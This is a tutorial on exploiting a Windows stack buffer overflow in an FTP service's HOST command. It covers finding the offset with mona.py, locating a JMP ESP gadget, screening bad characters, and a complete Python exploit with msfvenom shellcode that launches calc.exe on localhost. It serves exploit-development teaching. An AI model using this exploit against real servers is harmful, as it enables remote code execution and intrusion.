Tutorial

Windows Stack Buffer Overflow

Exploit a classic stack buffer overflow on Windows, from crash discovery to shellcode execution using Immunity Debugger and mona.py.

2 min read intermediate

Prerequisites

  • Basic understanding of x86 assembly
  • Familiarity with Immunity Debugger
  • Python scripting knowledge
  • Understanding of Windows memory layout

Part 1 of 3 in Windows Exploitation

Table of Contents

This tutorial walks through exploiting a stack buffer overflow in a Windows application. We’ll use Immunity Debugger with mona.py to find the offset, locate a JMP ESP gadget, identify bad characters, and execute shellcode.

Tools Required

  • Immunity Debugger: Windows debugger for exploit development
  • mona.py: Plugin for Immunity Debugger
  • Python 2.7: For exploit scripts
  • msfvenom: For shellcode generation

Exploit Skeleton

Start with a basic network exploit template:

import socket

buffer = b"A"*1000

print("[+] Sending buffer.")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 21))
s.recv(1024)
s.send(b'USER anonymous\r\n')
s.recv(1024)
s.send(b'PASS anonymous\r\n')
s.recv(1024)
s.send(b'HOST ' + buffer + b'\r\n')
s.close()
print("[+] Exploit completed.")

Finding the Offset

Confirm the Crash

Run the skeleton and observe EIP:

EIP: 0x41414141

EIP is overwritten with our ‘A’ characters.

Create Pattern

In Immunity Debugger:

!mona pattern_create 1000

This creates pattern.txt in the mona working directory.

Find Offset

After crashing with the pattern, note EIP value:

EIP: 69413269

Calculate the offset:

!mona pattern_offset 69413269
Pattern i2Ai (0x69413269) found at position 247

Verify Control

buffer = 'A'*247
buffer += 'BBBB'      # EIP
buffer += 'C'*749     # Remaining space

After running:

EIP: 42424242
ESP -> "CCCCCCCC..."

We control EIP, and ESP points to our C buffer.

Finding JMP ESP

Since ESP points to data after EIP, we need a JMP ESP instruction to redirect execution.

!mona jmp -r ESP

Results show addresses from various DLLs. Choose one without null bytes and from a module without ASLR/SafeSEH:

0x77e2d9d3 : jmp esp | ADVAPI32.dll
ASLR: False, Rebase: False, SafeSEH: False

Testing Execution Flow

Add NOPs and INT3

buffer = "A"*247
buffer += "\xd3\xd9\xe2\x77"  # JMP ESP (little endian)
buffer += "\x90"*20           # NOP sled
buffer += "\xcc"*(749-20)     # INT3 breakpoints

After running, the debugger should break on INT3, confirming code execution on the stack.

Identifying Bad Characters

Generate Test String

Create a byte array with all characters except null:

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

Send and Analyze

buffer = "A"*247
buffer += "\xd3\xd9\xe2\x77"
buffer += "\x90"*20
buffer += "\xcc"
buffer += badchars
buffer += "C"*(749-20-1-len(badchars))

Examine the stack in memory. Look for missing or corrupted bytes:

  • If truncated at \x0a - newline is bad (common for FTP)
  • If truncated at \x0d - carriage return is bad
  • If bytes are missing in sequence - they’re bad characters

Common Bad Characters

For FTP servers:

  • \x00 - Null (always bad)
  • \x0a - Newline
  • \x0d - Carriage return

Generating Shellcode

msfvenom -p windows/exec cmd=calc.exe \
         exitfunc=thread \
         -b "\x00\x0a\x0d" \
         -f c
unsigned char shellcode[] =
"\xbe\x64\x82\x92\x40\xdb\xd7\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
"\x31\x31\x77\x13\x83\xef\xfc\x03\x77\x6b\x60\x67\xbc\x9b\xe6"
...
"\x9d\xb1\x86\x15\x7d\x18\x2d\x9e\xe4\x64";

Complete Exploit

import socket

shellcode = (
b"\xbe\x64\x82\x92\x40\xdb\xd7\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
b"\x31\x31\x77\x13\x83\xef\xfc\x03\x77\x6b\x60\x67\xbc\x9b\xe6"
b"\x88\x3d\x5b\x87\x01\xd8\x6a\x87\x76\xa8\xdc\x37\xfc\xfc\xd0"
b"\xbc\x50\x15\x63\xb0\x7c\x1a\xc4\x7f\x5b\x15\xd5\x2c\x9f\x34"
b"\x55\x2f\xcc\x96\x64\xe0\x01\xd6\xa1\x1d\xeb\x8a\x7a\x69\x5e"
b"\x3b\x0f\x27\x63\xb0\x43\xa9\xe3\x25\x13\xc8\xc2\xfb\x28\x93"
b"\xc4\xfa\xfd\xaf\x4c\xe5\xe2\x8a\x07\x9e\xd0\x61\x96\x76\x29"
b"\x89\x35\xb7\x86\x78\x47\xff\x20\x63\x32\x09\x53\x1e\x45\xce"
b"\x2e\xc4\xc0\xd5\x88\x8f\x73\x32\x29\x43\xe5\xb1\x25\x28\x61"
b"\x9d\x29\xaf\xa6\x95\x55\x24\x49\x7a\xdc\x7e\x6e\x5e\x85\x25"
b"\x0f\xc7\x63\x8b\x30\x17\xcc\x74\x95\x53\xe0\x61\xa4\x39\x6e"
b"\x77\x3a\x44\xdc\x77\x44\x47\x70\x10\x75\xcc\x1f\x67\x8a\x07"
b"\x64\x87\x68\x82\x90\x20\x35\x47\x19\x2d\xc6\xbd\x5d\x48\x45"
b"\x34\x1d\xaf\x55\x3d\x18\xeb\xd1\xad\x50\x64\xb4\xd1\xc7\x85"
b"\x9d\xb1\x86\x15\x7d\x18\x2d\x9e\xe4\x64"
)

buffer = b"A"*247
buffer += b"\xd3\xd9\xe2\x77"  # JMP ESP
buffer += b"\x90"*20           # NOP sled
buffer += shellcode
buffer += b"C"*(749-20-len(shellcode))

print("[+] Sending buffer.")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 21))
s.recv(1024)
s.send(b'USER anonymous\r\n')
s.recv(1024)
s.send(b'PASS anonymous\r\n')
s.recv(1024)
s.send(b'HOST ' + buffer + b'\r\n')
s.close()
print("[+] Exploit completed.")

Buffer Layout

|  Junk  | EIP | NOPs | Shellcode | Padding |
  247B     4B    20B    ~220B       Rest

EIP -> JMP ESP instruction
ESP -> Points here after JMP
       NOP sled provides landing zone
       Shellcode executes

Key Concepts

Why JMP ESP?

After ret executes:

  1. EIP is popped from stack
  2. ESP now points to data after EIP
  3. JMP ESP redirects execution to ESP

NOP Sled Purpose

  • Provides a safe landing zone
  • Absorbs minor address variations
  • Encoded shellcode sometimes needs decoder space

exitfunc=thread

Using thread exit function keeps the process running after shellcode. Use process to exit the entire application.

Troubleshooting

Shellcode Doesn’t Execute

  1. Check for additional bad characters
  2. Increase NOP sled size
  3. Verify JMP ESP address is correct
  4. Ensure DEP is disabled

Access Violation

  1. JMP ESP address may contain bad chars
  2. Find alternative address from another module
  3. Check if ASLR is affecting the address